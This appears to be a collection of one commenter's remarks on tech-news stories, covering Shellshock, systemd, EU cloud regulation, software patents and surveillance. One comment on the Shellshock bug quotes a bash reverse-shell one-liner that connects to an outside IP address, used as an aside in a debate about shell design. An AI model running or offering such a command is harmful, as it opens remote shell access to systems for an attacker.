Re: STOP PRESS: Belkin staff unable to enter offices
I don't get it? Is this a reference to a PKD story?
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I don't get it? Is this a reference to a PKD story?
They do not steal. Your government prints up the money. Which means you get taxed through the backdorr.
> unlikely to ever recover from this theft.
Of course it will "recover" eventually. However, there is the little problem of a megamammut of unpayable "social promises" and debt to be absorbed first, which are only no problem in progressives' fantasies. Get ready.
How does the juxtaposition of "Embedded" and "Windows" even make sense? It's like a wheelchair submarine.
absolutely nothing at all to do with Microsoft
Correct though. It has to do with a decision process that concludes that something from a company that writes consumer-grade desktop bloaty wobbly into a system that should be rather tamper-proof and minimalistic and manageable is actually a good fit.
I guess you are missing
Bad"Best-of-Breed" Practices and Use of Industry Standard Software.
this ensures the boss's money-collecting mules are unable to carry out the scam alone – they need help in converting the random numbers into unlock keys.
If that would happen in the open industry, you would get menaces from the union.
No further questions, your honour!
In our company, people trip over phising scams, fall down stairways, cannot find the any key .... then they get a pay increase because it's the law ...
If only we still had the technological drive and confidence those guys had back then!
I can do without the technological drive and confidence that leads to an armement race about who can wave the biggest willy on the ocean to make sure the colonies stay appreciative. No.
Only if they are really, really slow.
by connecting it to the ISS...
Which will then become the International Space Inflatable Station, i.e. ISIS.
I hope Team America doesn't notice, otherwise it will be all over in a second via ASAT kill vehicle.
Just look for a triphase socket in the airport lounge.
"Some of our problems" is good enough.
Just looking at the morning paper, the only solution to "all our problems" is HUGE METEOR.
Pull your $$$ from their control
You may be dismayed to find out that there frankly is not enough $$$ to do that.
Whitman has worked 18 hour days since taking the CEO’s office at HP
No software patents, ever and any that exist are retroactively declared null and void.
No wait, that was another problem, though there is undeniable linkage.
I like my government-granted monopolies in the morning.
The carrot is the right to sell cloud services in Europe, and it's a huge carrot, in my opinion.
The world does not work that way. That would be like the "right to set up a bank". A bank can make enormous profits due to a special status which allows it to socialize risk about lending out other people's money. Thus the incentive to set up a bank is very much higher than the incentive to set up a cloud service. Indeed, suddenly the cloud service is all about pain, maintenance and regulatory compliance (a shifting and uncertain set of requirements demanding risk management and bullshitting at the best of times)
There just will be less "cloud services" and those that exist will either be abroad (what's that? want to tell people to not use them? good luck to you, sir) or the persons in charge will just make sure people very near the Hubs Of Power have their back in case unfortunate questions arise. A recipe for cronyism and The Vatican Bank mirrored in the Cloud Domain.
Amazingly, a tool is being used as a tool.
Even in a "minimal system" the tools to do maintenance must still be available from time to time. Unless we are talking embedded.
Whether "Bash is Bollocks for security" is neither here nor there.
The error here consists in making the swiss army knife usable from outside. That is a combination of using shell scripts to process the "Agent" header and having that bash bug. The error does not consist in having the swiss army knife available in the first place.
"/bin/bash –i >&/dev/tcp/22.214.171.124/2221 0>&1" does not do a whole lot. Would it work with any other shell on a system which has nice features underneath /dev/tcp? I sure hope so.
Why use shell scripts to process that "Agent" header? Well, now, that is the REAL question. They should have been gotten rid of some time ago.
it's very broad adoption on the systems that could use them
Not an argument for the sanity of said solution.
Someone has to says "let's put this in, I suppose it's a good idea, people will get used to it". He may be wrong. Like with TIFKAM.
This is an unfortunate truth.
There are good ideas in that there systemd, but there are also a LOT of very bad ideas.
I guess trying to solve the messy traditional insecure, non-transactional-state, convention-based alignment of scripts and making possible "fast boots" on devices that are switched on and off often is worth it... but...
It has the smell of a Windows solution. Like the "Registry"
The first problem: WHY SO COMPLEX
The second problem: WHY SO BINARY
The third problem: WHY SO OPAQUE
Trying to understand what went wrong and why something isn't working feels like being at the end of a labyrinth, or at the end of having made an error in a git repository.
What happened to the Art of Unix Programming?
I have been sitting through a few days of my holiday trying to "get" systemd, to no avail.
Maybe it's me.
Maybe it's systemd.
It is too complex.
I want to deny it.
It is impossible to deny.
Maybe systemd v2 will be viable.
What is there now isn't.
Like, with telephone and stuff?
Crazy slavic theories unmoored to reality:
"The Spaceship Moon Theory, also known as the Vasin-Shcherbakov Theory, is a hypothesis that claims the Earth's moon may actually be an alien spacecraft. The hypothesis was put forth by two members of the then Soviet Academy of Sciences, Michael Vasin and Alexander Shcherbakov, in a July 1970 article entitled "Is the Moon the Creation of Alien Intelligence?"
You would never have thought it would come to the point where Armageddon (1998) might be upheld as a vehicle to teach kids about Space Things?
The Moon doesn't shine, it only reflects (very badly, too), but still:
1.3 kW/m² dumped on the moon by the sun.
Make it 2001-monolith black, all surface utilized...
1737km radius gives you are disk of a bit less than 10^13 m² to shine on.
So you can collect 1.3 x 10^16 W, which is nice.
According to E = m*c², this corresponds to 0.14 kg/s in case of perfect backconversion.
So you are really looking at a few billion of years full-out collection.
> Basic energy-to-mass conversion can explain the mass increase.
I don't think "basic" means what you think it means.
You may want to explain where gigatons of pure energy come from without anyone noticing, so that they can be backconverted in the space hatchery.
Moon Removals 'R Us!
The times at uni when the Beautiful Girls from Life Sciences Division finally couraged up and asked the Geek in the Corner whether he happen to know the office of the server?
The only time I came unstuck was when running the reports through the woeful Lotus GraphWriter, which applied its own fiercely dogmatic rounding logic, producing pie charts whose percentage-labelled slices invariably added up to 102 per cent.
A "House of Leaves" of IT, then? Don't open the submenus.
Seriously, the 90's are calling, they want their Clipper Chip debate back!
Politicians and Bureaucrats - if you don't abolish them they will come up with the same old stale brew OVER and OVER and OVER again.
No comparison to The Cube?
I detect postmodernism in all its gory.
What is this I don't even?
Is it a fact that algorithmica and mathematics (i.e. true statements about invariants) still cannot be protected in the EU, so we see a Yuropean company making hay off this in the US, which indicates that said company would support the protection of such reified elements of discourse in the EU in a heartbeat?
Bubble-embiggened elephants mating?
The global dotcom is .com.
Not really. This is a Verisign-administered TLD local to the US.
Companies should either obey the law, or get out of the region.
Cut French IP addresses off from Google search?
I support this.
Otherwise how does it communicate back to the Black Hat? Is he (for its always a he) sat outside in a car or at the starbucks across the road?
I suggest you look into ... a trained bucket brigade of WarKitteh, strategically positioned all over the town because your crazy prepared skills are crazy.
No. Go back to your cage!
That was a pretty populist app.
You must have also missed that C# is by far the fastest growing programming language over the past few years
It's about fucking time the rest of semi-opposable-thumb keyboard hacking brigade move off their C/C++ addiction. Can we now move on LISP?
A new kind of Y2K, then.
Did I have to do a Chicago dive?
I wonder how lawyers manage to generate these long strings of adjective-laden diarrhea of utterly faked outrage. Is it crack? Is there a special school??
...the biggest of which is that proponents are not sure what it is about in the first place.
There is no need to stoop to "think of the children" bullshit.
"We must kill them. We must incinerate them. Pig after pig. Cow after cow. Village after village. Troll after troll. And they call me a pirate. What do you call it when the pirates accuse the pirate? They lie ... they lie and we have to be merciful to those who lie. Those nabobs. I hate them."
Speaking of TLA, we have recommended reading in Leslie Lamport's "Specifying Systems - The TLA+ Language and Tools for Hardware and Software Engineers". Downloadable legally, too.
Do it now.
From Hoover the body remover to COINTELPRO to Oklahoma to Clipper Chip to Waco to creation of "imminent terrorist menaces" from whole cloth since the late 90s while missing the one that were actually being fomented. Then we have the "War on Drugs". And now this. Did I mention utter incompetence at getting their IT in order?
Large bureaucracies are and always will be undistinguishable from the mob.
Now, if they only had a secret deal with aliens to show for this. But no...